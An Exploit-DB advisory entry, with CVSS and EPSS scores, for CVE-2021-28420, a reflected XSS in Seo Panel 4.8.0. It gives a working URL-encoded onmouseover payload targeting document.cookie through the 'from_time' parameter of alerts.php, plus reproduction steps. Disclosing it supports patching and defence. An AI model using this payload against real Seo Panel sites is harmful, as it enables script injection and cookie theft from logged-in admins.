Piyush PatilEDB-ID:49935Seo Panel 4.8.0 - 'from_time' Reflected XSS
3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
4.8 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
5.2 Medium
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
51.7%
# Exploit Title: Seo Panel 4.8.0 - 'from_time' Reflected XSS
# Date: 23-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28420
-Description:
A cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote
attackers to inject JavaScript via alerts.php and the "from_time" parameter.
-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
-Steps to reproduce:
1- Login to SEO admin panel
2- Visit: http://localhost/alerts.php?alert_category=general&from_time=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&keyword=&to_time=2021-03-11
3- Hover your mouse to "Period" fieldRelated
3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
4.8 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
5.2 Medium
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
51.7%